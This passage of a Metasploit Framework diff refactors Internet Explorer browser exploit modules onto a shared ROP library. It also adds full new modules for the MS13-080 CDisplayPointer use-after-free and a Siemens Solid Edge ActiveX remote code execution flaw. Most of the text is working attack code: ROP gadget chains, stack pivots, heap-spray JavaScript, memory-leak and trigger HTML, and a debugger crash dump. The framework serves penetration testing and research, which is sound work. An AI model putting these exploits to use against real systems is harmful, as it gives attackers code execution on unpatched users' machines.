msvcrt ROP") - rop = - [ - 0x77c1e844, # POP EBP # RETN [msvcrt.dll] - 0x77c1e844, # skip 4 bytes [msvcrt.dll] - 0x77c4fa1c, # POP EBX # RETN [msvcrt.dll] - 0xffffffff, - 0x77c127e5, # INC EBX # RETN [msvcrt.dll] - 0x77c127e5, # INC EBX # RETN [msvcrt.dll] - 0x77c4e0da, # POP EAX # RETN [msvcrt.dll] - 0x2cfe1467, # put delta into eax (-> put 0x00001000 into edx) - 0x77c4eb80, # ADD EAX,75C13B66 # ADD EAX,5D40C033 # RETN [msvcrt.dll] - 0x77c58fbc, # XCHG EAX,EDX # RETN [msvcrt.dll] - 0x77c34fcd, # POP EAX # RETN [msvcrt.dll] - 0x2cfe04a7, # put delta into eax (-> put 0x00000040 into ecx) - 0x77c4eb80, # ADD EAX,75C13B66 # ADD EAX,5D40C033 # RETN [msvcrt.dll] - 0x77c14001, # XCHG EAX,ECX # RETN [msvcrt.dll] - 0x77c3048a, # POP EDI # RETN [msvcrt.dll] - 0x77c47a42, # RETN (ROP NOP) [msvcrt.dll] - 0x77c46efb, # POP ESI # RETN [msvcrt.dll] - 0x77c2aacc, # JMP [EAX] [msvcrt.dll] - 0x77c3b860, # POP EAX # RETN [msvcrt.dll] - 0x77c1110c, # ptr to &VirtualAlloc() [IAT msvcrt.dll] - 0x77c12df9, # PUSHAD # RETN [msvcrt.dll] - 0x77c35459 # ptr to 'push esp # ret ' [msvcrt.dll] - ].pack("V*") + esp_align = "\x81\xc4\x54\xf2\xff\xff" + rop_dll = 'msvcrt' + opts = {'target'=>'xp'} else print_status("Using JRE ROP") - rop = - [ - 0x7c37653d, # POP EAX # POP EDI # POP ESI # POP EBX # POP EBP # RETN - 0xfffffdff, # Value to negate, will become 0x00000201 (dwSize) - 0x7c347f98, # RETN (ROP NOP) [msvcr71.dll] - 0x7c3415a2, # JMP [EAX] [msvcr71.dll] - 0xffffffff, - 0x7c376402, # skip 4 bytes [msvcr71.dll] - 0x7c351e05, # NEG EAX # RETN [msvcr71.dll] - 0x7c345255, # INC EBX # FPATAN # RETN [msvcr71.dll] - 0x7c352174, # ADD EBX,EAX # XOR EAX,EAX # INC EAX # RETN [msvcr71.dll] - 0x7c344f87, # POP EDX # RETN [msvcr71.dll] - 0xffffffc0, # Value to negate, will become 0x00000040 - 0x7c351eb1, # NEG EDX # RETN [msvcr71.dll] - 0x7c34d201, # POP ECX # RETN [msvcr71.dll] - 0x7c38b001, # &Writable location [msvcr71.dll] - 0x7c347f97, # POP EAX # RETN [msvcr71.dll] - 0x7c37a151, # ptr to &VirtualProtect() - 0x0EF [IAT msvcr71.dll] - 0x7c378c81, # PUSHAD # ADD AL,0EF # RETN [msvcr71.dll] - 0x7c345c30 # ptr to 'push esp # ret ' [msvcr71.dll] - # rop chain generated with mona.py - ].pack("V*") + esp_align = "\x81\xEC\xF0\xD8\xFF\xFF" # sub esp, -10000 + rop_dll = 'java' + opts = {} end - rop_payload = rop - rop_payload << esp_align - rop_payload << code - rop_payload << rand_text_alpha(12000) unless t['Rop'] == :msvcrt - - rop_payload - end - - def junk - rand_text_alpha(4).unpack("V")[0].to_i - end - - def nop - make_nops(4).unpack("V")[0].to_i + p = esp_align + payload.encoded + rand_text_alpha(12000) + generate_rop_payload(rop_dll, p, opts) end def get_html(t, p) + junk = rand_text_alpha(4).unpack("V")[0].to_i js_pivot = Rex::Text.to_unescape([t['Pivot']].pack("V*")) js_payload = Rex::Text.to_unescape(p) js_align = Rex::Text.to_unescape([t['Align']].pack("V*")) @@ -195,7 +136,7 @@ class Metasploit3 < Msf::Exploit::Remote q_id = Rex::Text.rand_text_alpha(1) - html = %Q| + %Q| <!DOCTYPE html> <HTML XMLNS:t ="urn:schemas-microsoft-com:time"> <head> @@ -244,8 +185,6 @@ class Metasploit3 < Msf::Exploit::Remote <t:ANIMATECOLOR id="myanim"/> </html> | - - html end def on_request_uri(cli, request) @@ -253,7 +192,7 @@ class Metasploit3 < Msf::Exploit::Remote t = get_target(agent) if t - p = get_payload(t, cli) + p = get_payload(t) html = get_html(t, p) print_status("Sending exploit...") send_response(cli, html, {'Content-Type'=>'text/html', 'Cache-Control'=>'no-cache'}) diff --git a/modules/exploits/windows/browser/ms13_069_caret.rb b/modules/exploits/windows/browser/ms13_069_caret.rb index d8c6d5ac1f..68c9c9fb98 100644 --- a/modules/exploits/windows/browser/ms13_069_caret.rb +++ b/modules/exploits/windows/browser/ms13_069_caret.rb @@ -11,6 +11,7 @@ class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpServer::HTML + include Msf::Exploit::RopDb def initialize(info={}) super(update_info(info, @@ -43,7 +44,6 @@ class Metasploit3 < Msf::Exploit::Remote 'Platform' => 'win', 'Targets' => [ - [ 'Automatic', {} ], [ # Win 7 target on hold until we have a stable custom spray for it 'IE 8 on Windows XP SP3', @@ -83,55 +83,12 @@ class Metasploit3 < Msf::Exploit::Remote def get_target(agent) - return target if target.name != 'Automatic' - - nt = agent.scan(/Windows NT (\d\.\d)/).flatten[0] || '' - ie = agent.scan(/MSIE (\d)/).flatten[0] || '' - - ie_name = "IE #{ie}" - - case nt - when '5.1' - os_name = 'Windows XP SP3' - end - - targets.each do |t| - if (!ie.empty? and t.name.include?(ie_name)) and (!nt.empty? and t.name.include?(os_name)) - return t - end - end - + return targets[0] if agent =~ /MSIE 8\.0/ and agent =~ /Windows NT 5\.1/ nil end def get_payload(t) - rop = - [ - 0x77c1e844, # POP EBP # RETN [msvcrt.dll] - 0x77c1e844, # skip 4 bytes [msvcrt.dll] - 0x77c4fa1c, # POP EBX # RETN [msvcrt.dll] - 0xffffffff, - 0x77c127e5, # INC EBX # RETN [msvcrt.dll] - 0x77c127e5, # INC EBX # RETN [msvcrt.dll] - 0x77c4e0da, # POP EAX # RETN [msvcrt.dll] - 0x2cfe1467, # put delta into eax (-> put 0x00001000 into edx) - 0x77c4eb80, # ADD EAX,75C13B66 # ADD EAX,5D40C033 # RETN [msvcrt.dll] - 0x77c58fbc, # XCHG EAX,EDX # RETN [msvcrt.dll] - 0x77c34fcd, # POP EAX # RETN [msvcrt.dll] - 0x2cfe04a7, # put delta into eax (-> put 0x00000040 into ecx) - 0x77c4eb80, # ADD EAX,75C13B66 # ADD EAX,5D40C033 # RETN [msvcrt.dll] - 0x77c14001, # XCHG EAX,ECX # RETN [msvcrt.dll] - 0x77c3048a, # POP EDI # RETN [msvcrt.dll] - 0x77c47a42, # RETN (ROP NOP) [msvcrt.dll] - 0x77c46efb, # POP ESI # RETN [msvcrt.dll] - 0x77c2aacc, # JMP [EAX] [msvcrt.dll] - 0x77c3b860, # POP EAX # RETN [msvcrt.dll] - 0x77c1110c, # ptr to &VirtualAlloc() [IAT msvcrt.dll] - 0x77c12df9, # PUSHAD # RETN [msvcrt.dll] - 0x77c35459 # ptr to 'push esp # ret ' [msvcrt.dll] - ].pack("V*") - # This data should appear at the beginning of the target address (see TargetAddr in metadata) p = '' p << rand_text_alpha(225) # Padding to avoid null byte addr @@ -139,10 +96,9 @@ class Metasploit3 < Msf::Exploit::Remote p << [t['Align']].pack("V*") * ( (0x2c-4)/4 ) # 0x2c bytes to pivot (-4 for TargetAddr) p << [t['Pivot']].pack("V*") # Stack pivot p << rand_text_alpha(4) # Padding for the add esp,0x2c alignment - p << rop # ROP chain - p << payload.encoded # Actual payload + p << generate_rop_payload('msvcrt', payload.encoded, {'target'=>'xp'}) - return p + p end diff --git a/modules/exploits/windows/browser/ms13_080_cdisplaypointer.rb b/modules/exploits/windows/browser/ms13_080_cdisplaypointer.rb new file mode 100644 index 0000000000..cdbd765418 --- /dev/null +++ b/modules/exploits/windows/browser/ms13_080_cdisplaypointer.rb @@ -0,0 +1,325 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# Framework web site for more information on licensing and terms of use. +# http://metasploit.com/framework/ +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = NormalRanking + + include Msf::Exploit::Remote::HttpServer::HTML + include Msf::Exploit::RopDb + include Msf::Exploit::Remote::BrowserAutopwn + + autopwn_info({ + :ua_name => HttpClients::IE, + :ua_minver => "8.0", + :ua_maxver => "8.0", + :javascript => true, + :os_name => OperatingSystems::WINDOWS, + :rank => NormalRanking + }) + + def initialize(info={}) + super(update_info(info, + 'Name' => "MS13-080 Microsoft Internet Explorer CDisplayPointer Use-After-Free", + 'Description' => %q{ + This module exploits a vulnerability found in Microsoft Internet Explorer. It was originally + found being exploited in the wild targeting Japanese and Korean IE8 users on Windows XP, + around the same time frame as CVE-2013-3893, except this was kept out of the public eye by + multiple research companies and the vendor until the October patch release. + + This issue is a use-after-free vulnerability in CDisplayPointer via the use of a + "onpropertychange" event handler. To set up the appropriate buggy conditions, we first craft + the DOM tree in a specific order, where a CBlockElement comes after the CTextArea element. + If we use a select() function for the CTextArea element, two important things will happen: + a CDisplayPointer object will be created for CTextArea, and it will also trigger another + event called "onselect". The "onselect" event will allow us to set up for the actual event + handler we want to abuse - the "onpropertychange" event. Since the CBlockElement is a child + of CTextArea, if we do a node swap of CBlockElement in "onselect", this will trigger + "onpropertychange". During "onpropertychange" event handling, a free of the CDisplayPointer + object can be forced by using an "Unslect" (other approaches also apply), but a reference + of this freed memory will still be kept by CDoc::ScrollPointerIntoView, specifically after + the CDoc::GetLineInfo call, because it is still trying to use that to update + CDisplayPointer's position. When this invalid reference arrives in QIClassID, a crash + finally occurs due to accessing the freed memory. By controlling this freed memory, it is + possible to achieve arbitrary code execution under the context of the user. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'Unknown', # Exploit in the wild + 'sinn3r' # Metasploit + ], + 'References' => + [ + [ 'CVE', '2013-3897' ], + [ 'OSVDB', '98207' ], + [ 'MSB', 'MS13-080' ], + [ 'URL', 'http://blogs.technet.com/b/srd/archive/2013/10/08/ms13-080-addresses-two-vulnerabilities-under-limited-targeted-attacks.aspx' ], + [ 'URL', 'http://jsunpack.jeek.org/?report=847afb154a4e876d61f93404842d9a1b93a774fb' ] + ], + 'Platform' => 'win', + 'Targets' => + [ + [ 'Automatic', {} ], + [ 'IE 8 on Windows XP SP3', {} ], + [ 'IE 8 on Windows 7', {} ] + ], + 'Payload' => + { + 'BadChars' => "\x00", + 'PrependEncoder' => "\x81\xc4\x0c\xfe\xff\xff" # add esp, -500 + }, + 'DefaultOptions' => + { + 'InitialAutoRunScript' => 'migrate -f' + }, + 'Privileged' => false, + # Jsunpack first received a sample to analyze on Sep 12 2013. + # MSFT patched this on Oct 8th. + 'DisclosureDate' => "Oct 08 2013", + 'DefaultTarget' => 0)) + end + + def get_check_html + %Q|<html> +<script> +#{js_os_detect} + +function os() { + var detect = window.os_detect.getVersion(); + var os_string = detect.os_name + " " + detect.os_flavor + " " + detect.ua_name + " " + detect.ua_version; + return os_string; +} + +function dll() { + var checka = 0; + var checkb = 0; + try { + checka = new ActiveXObject("SharePoint.OpenDocuments.4"); + } catch (e) {} + + try { + checkb = new ActiveXObject("SharePoint.OpenDocuments.3"); + } catch (e) {} + + if ((typeof checka) == "object" && (typeof checkb) == "object") { + try{location.href='ms-help://'} catch(e){} + return "#{@js_office_2010_str}"; + } + else if ((typeof checka) == "number" && (typeof checkb) == "object") { + try{location.href='ms-help://'} catch(e){} + return "#{@js_office_2007_str}"; + } + return "#{@js_default_str}"; +} + +window.onload = function() { + window.location = "#{get_resource}/search?o=" + escape(os()) + "&d=" + dll(); +} +</script> +</html> + | + end + + def junk + rand_text_alpha(4).unpack("V")[0].to_i + end + + def get_payload(target_info) + rop_payload = '' + os = target_info[:os] + dll_used = '' + + case target_info[:dll] + when @js_office_2007_str + dll_used = "Office 2007" + + pivot = + [ + 0x51c2213f, # xchg eax,esp # popad # add byte ptr [eax],al # retn 4 + junk, # ESI due to POPAD + junk, # EBP due to POPAD + junk, + junk, # EBX due to POPAD + junk, # EDX due to POPAD + junk, # ECX due to POPAD + 0x51c5d0a7, # EAX due to POPAD (must be writable for the add instruction) + 0x51bd81db, # ROP NOP + junk # Padding for the retn 4 from the stack pivot + ].pack("V*") + + rop_payload = generate_rop_payload('hxds', payload.encoded, {'target'=>'2007', 'pivot'=>pivot}) + + when @js_office_2010_str + dll_used = "Office 2010" + + pivot = + [ + 0x51c00e64, # xchg eax, esp; add eax, [eax]; add esp, 10; mov eax,esi; pop esi; pop ebp; retn 4 + junk, + junk, + junk, + junk, + junk, + 0x51BE7E9A, # ROP NOP + junk # Padding for the retn 4 from the stack pivot + ].pack("V*") + + rop_payload = generate_rop_payload('hxds', payload.encoded, {'target'=>'2010', 'pivot'=>pivot}) + + when @js_default_str + if target_info[:os] =~ /windows xp/i + # XP uses msvcrt.dll + dll_used = "msvcrt" + + pivot = + [ + 0x77C3868A # xchg eax,esp; rcr [ebx-75], 0c1h; pop ebp; ret + ].pack("V*") + + rop_payload = generate_rop_payload('msvcrt', payload.encoded, {'target'=>'xp', 'pivot'=>pivot}) + else + # Assuming this is Win 7, and we'll use Java 6 ROP + dll_used = "Java" + + pivot = + [ + 0x7c342643, # xchg eax,esp # pop edi # add byte ptr [eax],al # pop ecx # retn + junk # Padding for the POP ECX + ].pack("V*") + + rop_payload = generate_rop_payload('java', payload.encoded, {'pivot'=>pivot}) + end + end + + print_status("Target uses #{os} with #{dll_used} DLL") + + rop_payload + end + + def get_sploit_html(target_info) + os = target_info[:os] + js_payload = '' + + if os =~ /Windows (7|XP) MSIE 8\.0/ + js_payload = Rex::Text.to_unescape(get_payload(target_info)) + else + print_error("Target not supported by this attack.") + return "" + end + + %Q|<html> +<head> +<script> +#{js_property_spray} +sprayHeap({shellcode:unescape("#{js_payload}")}); + +var earth = document; +var data = ""; +for (i=0; i<17; i++) { + if (i==7) { data += unescape("%u2020%u2030"); } + else { data += "\\u4141\\u4141"; } +} +data += "\\u4141"; + +function butterfly() { + for(i=0; i<20; i++) { + var effect = earth.createElement("div"); + effect.className = data; + } +} + +function kaiju() { + var godzilla = earth.createElement("textarea"); + var minilla = earth.createElement("pre"); + earth.body.appendChild(godzilla); + earth.body.appendChild(minilla); + godzilla.appendChild(minilla); + + godzilla.onselect=function(e) { + minilla.swapNode(earth.createElement("div")); + } + + var battleStation = false; + var war = new Array(); + godzilla.onpropertychange=function(e) { + if (battleStation == true) { + for (i=0; i<50; i++) { + war.push(earth.createElement("span")); + } + } + + earth.execCommand("Unselect"); + + if (battleStation == true) { + for (i=0; i < war.length; i++) { + war[i].className = data; + } + } + else { + battleStation = true; + } + } + + butterfly(); + godzilla.select(); +} +</script> +</head> +<body onload='kaiju()'> +</body> +</html> + | + end + + + def on_request_uri(cli, request) + if request.uri =~ /search\?o=(.+)\&d=(.+)$/ + target_info = { :os => Rex::Text.uri_decode($1), :dll => Rex::Text.uri_decode($2) } + sploit = get_sploit_html(target_info) + send_response(cli, sploit, {'Content-Type'=>'text/html', 'Cache-Control'=>'no-cache'}) + return + end + + html = get_check_html + print_status("Checking out target...") + send_response(cli, html, {'Content-Type'=>'text/html', 'Cache-Control'=>'no-cache'}) + end + + def exploit + @js_office_2007_str = Rex::Text.rand_text_alpha(4) + @js_office_2010_str = Rex::Text.rand_text_alpha(5) + @js_default_str = Rex::Text.rand_text_alpha(6) + super + end + +end + + +=begin + ++hpa this for debugging or you might not see a crash at all :-) + +0:005> r +eax=d6091326 ebx=0777efd4 ecx=00000578 edx=000000c8 esi=043bbfd0 edi=043bbf9c +eip=6d6dc123 esp=043bbf7c ebp=043bbfa0 iopl=0 nv up ei pl zr na pe nc +cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246 +mshtml!QIClassID+0x30: +6d6dc123 8b03 mov eax,dword ptr [ebx] ds:0023:0777efd4=???????? +0:005> u +mshtml!QIClassID+0x30: +6d6dc123 8b03 mov eax,dword ptr [ebx] +6d6dc125 8365e800 and dword ptr [ebp-18h],0 +6d6dc129 8d4de8 lea ecx,[ebp-18h] +6d6dc12c 51 push ecx +6d6dc12d 6870c16d6d push offset mshtml!IID_IProxyManager (6d6dc170) +6d6dc132 53 push ebx +6d6dc133 bf02400080 mov edi,80004002h +6d6dc138 ff10 call dword ptr [eax] + +=end diff --git a/modules/exploits/windows/browser/siemens_solid_edge_selistctrlx.rb b/modules/exploits/windows/browser/siemens_solid_edge_selistctrlx.rb new file mode 100644 index 0000000000..aad811d6bd --- /dev/null +++ b/modules/exploits/windows/browser/siemens_solid_edge_selistctrlx.rb @@ -0,0 +1,500 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# Framework web site for more information on licensing and terms of use. +# http://metasploit.com/framework/ +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = NormalRanking + + include Msf::Exploit::Remote::HttpServer::HTML + include Msf::Exploit::RopDb + include Msf::Exploit::Remote::BrowserAutopwn + + autopwn_info({ + :ua_name => HttpClients::IE, + :ua_minver => "6.0", + :ua_maxver => "9.0", + :javascript => true, + :os_name => OperatingSystems::WINDOWS, + :rank => Rank, + :classid => "{5D6A72E6-C12F-4C72-ABF3-32F6B70EBB0D}" + }) + + def initialize(info={}) + super(update_info(info, + 'Name' => "Siemens Solid Edge ST4 SEListCtrlX ActiveX Remote Code Execution", + 'Description' => %q{ + This module exploits the SEListCtrlX ActiveX installed with the Siemens Solid Edge product. + The vulnerability exists on several APIs provided by the control, where user supplied input + is handled as a memory pointer without proper validation, allowing an attacker to read and + corrupt memory from the target process. This module abuses the methods NumChildren() and + DeleteItem() in order to achieve memory info leak and remote code execution respectively. + This module has been tested successfully on IE6-IE9 on Windows XP SP3 and Windows 7 SP1, + using Solid Edge 10.4. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'rgod <rgod[at]autistici.org>', # Vulnerability discovery and PoC + 'juan vazquez' # Metasploit module + ], + 'References' => + [ + [ 'OSVDB', '93696' ], + [ 'EDB', '25712' ], + [ 'URL', 'http://retrogod.altervista.org/9sg_siemens_adv_ii.htm' ] + ], + 'Payload' => + { + 'Space' => 906, + 'DisableNops' => true, + 'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff" # Stack adjustment # add esp, -3500 + }, + 'DefaultOptions' => + { + 'InitialAutoRunScript' => 'migrate -f' + }, + 'Platform' => 'win', + 'Targets' => + [ + # Jutil.dll 104.0.0.82 + # SEListCtrlX 104.0.0.82 + [ 'Automatic', {} ], + [ 'IE 6 on Windows XP SP3', { 'Rop' => nil, 'Offset' => '0x5F4' } ], + [ 'IE 7 on Windows XP SP3', { 'Rop' => nil, 'Offset' => '0x5F4' } ], + [ 'IE 8 on Windows XP SP3', { 'Rop' => :msvcrt, 'Offset' => '0x5f4' } ], + [ 'IE 7 on Windows Vista', { 'Rop' => nil, 'Offset' => '0x5f4' } ], + [ 'IE 8 on Windows Vista', { 'Rop' => :jutil, 'Offset' => '0x5f4' } ], + [ 'IE 8 on Windows 7', { 'Rop' => :jutil, 'Offset' => '0x5f4' } ], + [ 'IE 9 on Windows 7', { 'Rop' => :jutil, 'Offset' => '0x5fe' } ] + ], + 'Privileged' => false, + 'DisclosureDate' => "May 26 2013", + 'DefaultTarget' => 0)) + + register_options( + [ + OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false]) + ], self.class) + + end + + def junk + return rand_text_alpha(4).unpack("V").first + end + + def get_target(agent) + #If the user is already specified by the user, we'll just use that + return target if target.name != 'Automatic' + + nt = agent.scan(/Windows NT (\d\.\d)/).flatten[0] || '' + ie = agent.scan(/MSIE (\d)/).flatten[0] || '' + + ie_name = "IE #{ie}" + + case nt + when '5.1' + os_name = 'Windows XP SP3' + when '6.0' + os_name = 'Windows Vista' + when '6.1' + os_name = 'Windows 7' + end + + targets.each do |t| + if (!ie.empty? and t.name.include?(ie_name)) and (!nt.empty? and t.name.include?(os_name)) + print_status("Target selected as: #{t.name}") + return t + end + end + + return nil + end + + # JUtil ROP Chain + # Jutil Base: 0x1d550000 + # Stack Pivot: jutil_base + 0x000a5843 # xchg eax, esp # ret + # Adjust Stack: jutil_base + 0x00212f17 # pop # pop # ret + # 0x1db2e121, # POP EDX # RETN [JUtil.dll] + # 0x1d5520ca, # ptr to &VirtualProtect() [IAT JUtil.dll] + # 0x1da0ebeb, # MOV EDX,DWORD PTR DS:[EDX] # RETN [JUtil.dll] + # 0x1da103d2, # MOV ESI,EDX # RETN [JUtil.dll] + # 0x1d70e314, # POP EBP # RETN [JUtil.dll] + # 0x1d5fc8e8, # & jmp esp [JUtil.dll] + # 0x1d631859, # POP EBX # RETN [JUtil.dll] + # 0x00000201, # 0x00000201-> ebx + # 0x1d769cf9, # POP EDX # RETN [JUtil.dll] + # 0x00000040, # 0x00000040-> edx + # 0x1d6d2e50, # POP ECX # RETN [JUtil.dll] + # 0x1da45217, # &Writable location [JUtil.dll] + # 0x1d632fd1, # POP EDI # RETN [JUtil.dll] + # 0x1d6839db, # RETN (ROP NOP) [JUtil.dll] + # 0x1d752439, # POP EAX # RETN [JUtil.dll] + # 0x90909090, # nop + # 0x1da4cfe3, # PUSHAD # RETN [JUtil.dll] + def ie9_spray(t, p) + js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(t.arch)) + js_random_nops = Rex::Text.to_unescape(make_nops(4), Rex::Arch.endian(t.arch)) + + js = %Q| + + function rop_chain(jutil_base){ + var arr = [ + Number(Math.floor(Math.random()*0xffffffff)), + Number(0x0c0c0c0c), + Number(0x0c0c0c0c), + Number(0x0c0c0c1c), + Number(0x0c0c0c24), + Number(0x0c0c0c28), + Number(Math.floor(Math.random()*0xffffffff)), + Number(Math.floor(Math.random()*0xffffffff)), + Number(0x0c0c0c0c), + Number(0x0c0c0c3c), + jutil_base + Number(0x00212f17), + jutil_base + Number(0x000a5843), + Number(0x0c0c0c34), + jutil_base + Number(0x5de121), + jutil_base + Number(0x20ca), + jutil_base + Number(0x4bebeb), + jutil_base + Number(0x4c03d2), + jutil_base + Number(0x1be314), + jutil_base + Number(0xac8e8), + jutil_base + Number(0xe1859), + Number(0x00000201), + jutil_base + Number(0x219cf9), + Number(0x00000040), + jutil_base + Number(0x182e50), + jutil_base + Number(0x4f5217), + jutil_base + Number(0xe2fd1), + jutil_base + Number(0x1339db), + jutil_base + Number(0x202439), + Number(0x90909090), + jutil_base + Number(0x4fcfe3) + ]; + return arr; + } + + function d2u(dword){ + var uni = String.fromCharCode(dword & 0xFFFF); + uni += String.fromCharCode(dword>>16); + return uni; + } + + function tab2uni(tab){ + var uni = "" + for(var i=0;i<tab.length;i++){ + uni += d2u(tab[i]); + } + return uni; + } + + function randomblock(blocksize) + { + var theblock = ""; + for (var i = 0; i < blocksize; i++) + { + theblock += Math.floor(Math.random()*90)+10; + } + return theblock; + } + + function tounescape(block) + { + var blocklen = block.length; + var unescapestr = ""; + for (var i = 0; i < blocklen-1; i=i+4) + { + unescapestr += "%u" + block.substring(i,i+4); + } + return unescapestr; + } + + var heap_obj = new heapLib.ie(0x10000); + var code = unescape("#{js_code}"); + var nops = unescape("#{js_random_nops}"); + + function heap_spray(jutil_base) { + while (nops.length < 0x80000) nops += nops; + var offset_length = #{t['Offset']}; + for (var i=0; i < 0x1000; i++) { + var padding = unescape(tounescape(randomblock(0x1000))); + while (padding.length < 0x1000) padding+= padding; + var junk_offset = padding.substring(0, offset_length); + var rop = tab2uni(rop_chain(jutil_base)); + var single_sprayblock = junk_offset + rop + code + nops.substring(0, 0x800 - rop.length - code.length - junk_offset.length); + while (single_sprayblock.length < 0x20000) single_sprayblock += single_sprayblock; + sprayblock = single_sprayblock.substring(0, (0x40000-6)/2); + heap_obj.alloc(sprayblock); + } + } + | + return js + end + + def ie8_spray(t, p) + js_nops = Rex::Text.to_unescape("\x0c"*4, Rex::Arch.endian(t.arch)) + js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(t.arch)) + + js = %Q| + var heap_obj = new heapLib.ie(0x20000); + var code = unescape("#{js_code}"); + var nops = unescape("#{js_nops}"); + + function rop_chain(jutil_base){ + var arr = [ + Number(Math.floor(Math.random()*0xffffffff)), + Number(0x0c0c0c0c), + Number(0x0c0c0c0c), + Number(0x0c0c0c1c), + Number(0x0c0c0c24), + Number(0x0c0c0c28), + Number(Math.floor(Math.random()*0xffffffff)), + Number(Math.floor(Math.random()*0xffffffff)), + Number(0x0c0c0c0c), + Number(0x0c0c0c3c), + jutil_base + Number(0x00212f17), + jutil_base + Number(0x000a5843), + Number(0x0c0c0c34), + jutil_base + Number(0x5de121), + jutil_base + Number(0x20ca), + jutil_base + Number(0x4bebeb), + jutil_base + Number(0x4c03d2), + jutil_base + Number(0x1be314), + jutil_base + Number(0xac8e8), + jutil_base + Number(0xe1859), + Number(0x00000201), + jutil_base + Number(0x219cf9), + Number(0x00000040), + jutil_base + Number(0x182e50), + jutil_base + Number(0x4f5217), + jutil_base + Number(0xe2fd1), + jutil_base + Number(0x1339db), + jutil_base + Number(0x202439), + Number(0x90909090), + jutil_base + Number(0x4fcfe3) + ]; + return arr; + } + + function d2u(dword){ + var uni = String.fromCharCode(dword & 0xFFFF); + uni += String.fromCharCode(dword>>16); + return uni; + } + + function tab2uni(tab){ + var uni = "" + for(var i=0;i<tab.length;i++){ + uni += d2u(tab[i]); + } + return uni; + } + + function heap_spray(jutil_base) { + while (nops.length < 0x80000) nops += nops; + var offset = nops.substring(0, #{t['Offset']}); + var rop = tab2uni(rop_chain(jutil_base)); + var shellcode = offset + rop + code + nops.substring(0, 0x800-rop.length-code.length-offset.length); + while (shellcode.length < 0x40000) shellcode += shellcode; + var block = shellcode.substring(0, (0x80000-6)/2); + heap_obj.gc(); + for (var i=1; i < 0x300; i++) { + heap_obj.alloc(block); + } + } + | + return js + end + + def ie6_spray(t, p) + js_nops = Rex::Text.to_unescape("\x0c"*4, Rex::Arch.endian(t.arch)) + js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(t.arch)) + + js = %Q| + var heap_obj = new heapLib.ie(0x20000); + var nops = unescape("#{js_nops}"); + var code = unescape("#{js_code}"); + + function heap_spray() { + while (nops.length < 0x80000) nops += nops; + var offset = nops.substring(0, #{t['Offset']}); + var shellcode = offset + code + nops.substring(0, 0x800-code.length-offset.length); + while (shellcode.length < 0x40000) shellcode += shellcode; + var block = shellcode.substring(0, (0x80000-6)/2); + heap_obj.gc(); + for (var i=1; i < 0x300; i++) { + heap_obj.alloc(block); + } + } + | + return js + end + + def ie_heap_spray(my_target, p) + # Land the payload at 0x0c0c0c0c + case my_target + when targets[7] + # IE 9 on Windows 7 + js = ie9_spray(my_target, p) + when targets[5], targets[6] + # IE 8 on Windows 7 and Windows Vista + js = ie8_spray(my_target, p) + else + js = ie6_spray(my_target, p) + end + + js = heaplib(js, {:noobfu => true}) + + if datastore['OBFUSCATE'] + js = ::Rex::Exploitation::JSObfu.new(js) + js.obfuscate + @heap_spray_fn = js.sym("heap_spray") + else + @heap_spray_fn = "heap_spray" + end + + return js + end + + def get_windows_xp_payload + fake_memory = [ + junk, # junk # 0c0c0c0c + 0x0c0c0c0c, # Dereference # 0c0c0c10 + 0x0c0c0c0c, # Dereference # 0c0c0c14 + 0x0c0c0c1c, # [0x0c0c0c0c] # 0c0c0c18 + 0x0c0c0c24, # Dereference # 0c0c0c1c + 0x0c0c0c28, # Dereference # 0c0c0c20 + junk, # junk # 0c0c0c24 + junk, # junk # 0c0c0c28 + 0x0c0c0c0c, # Dereference # 0c0c0c2c + 0x0c0c0c30, # Dereference # 0c0c0c30 + 0x0c0c0c38, # new eip # 0c0c0c34 + ].pack("V*") + + p = fake_memory + payload.encoded + + return p + end + + def get_windows_msvcrt_payload + fake_memory = [ + junk, # junk # 0c0c0c0c + 0x0c0c0c0c, # Dereference # 0c0c0c10 + 0x0c0c0c0c, # Dereference # 0c0c0c14 + 0x0c0c0c1c, # [0x0c0c0c0c] # 0c0c0c18 + 0x0c0c0c24, # Dereference # 0c0c0c1c + 0x0c0c0c28, # Dereference # 0c0c0c20 + junk, # junk # 0c0c0c24 + junk, # junk # 0c0c0c28 + 0x0c0c0c0c, # Dereference # 0c0c0c2c + 0x0c0c0c3c, # Dereference # 0c0c0c30 + 0x77c21ef4, # ppr msvcrt # 0c0c0c34 + 0x77c15ed5, # xchg eax,esp # ret (msvcrt) + 0x0c0c0c34 # eax value # 0c0c0c3c + ].pack("V*") + + return generate_rop_payload('msvcrt', payload.encoded, {'pivot'=> fake_memory, 'target'=>'xp'}) + end + + def get_payload(t) + + # Both ROP chains generated by mona.py - See corelan.be + case t['Rop'] + when :msvcrt + print_status("Using msvcrt ROP") + p = get_windows_msvcrt_payload + when :jutil + print_status("Using JUtil ROP built dynamically...") + p = payload.encoded + else + print_status("Using payload without ROP...") + p = get_windows_xp_payload + end + + return p + end + + def info_leak_trigger + js = <<-EOS + <object classid='clsid:5D6A72E6-C12F-4C72-ABF3-32F6B70EBB0D' id='obj' /> + </object> + <script language='javascript'> + jutil_address = obj.NumChildren(0x10017018 - 0x0c); + jutil_base = jutil_address - 0x49440; + #{@heap_spray_fn}(jutil_base); + obj.DeleteItem(0x0c0c0c08); + </script> + EOS + + return js + end + + def exec_trigger + js = <<-EOS + <object classid='clsid:5D6A72E6-C12F-4C72-ABF3-32F6B70EBB0D' id='obj' /> + </object> + <script language='javascript'> + #{@heap_spray_fn}(); + obj.DeleteItem(0x0c0c0c08); + </script> + EOS + + return js + end + + def get_trigger(t) + case t['Rop'] + when :jutil + js = info_leak_trigger + else + js = exec_trigger + end + + return js + end + + def load_exploit_html(my_target) + p = get_payload(my_target) + js = ie_heap_spray(my_target, p) + trigger = get_trigger(my_target) + + html = %Q| + <html> + <head> + <script language='javascript'> + 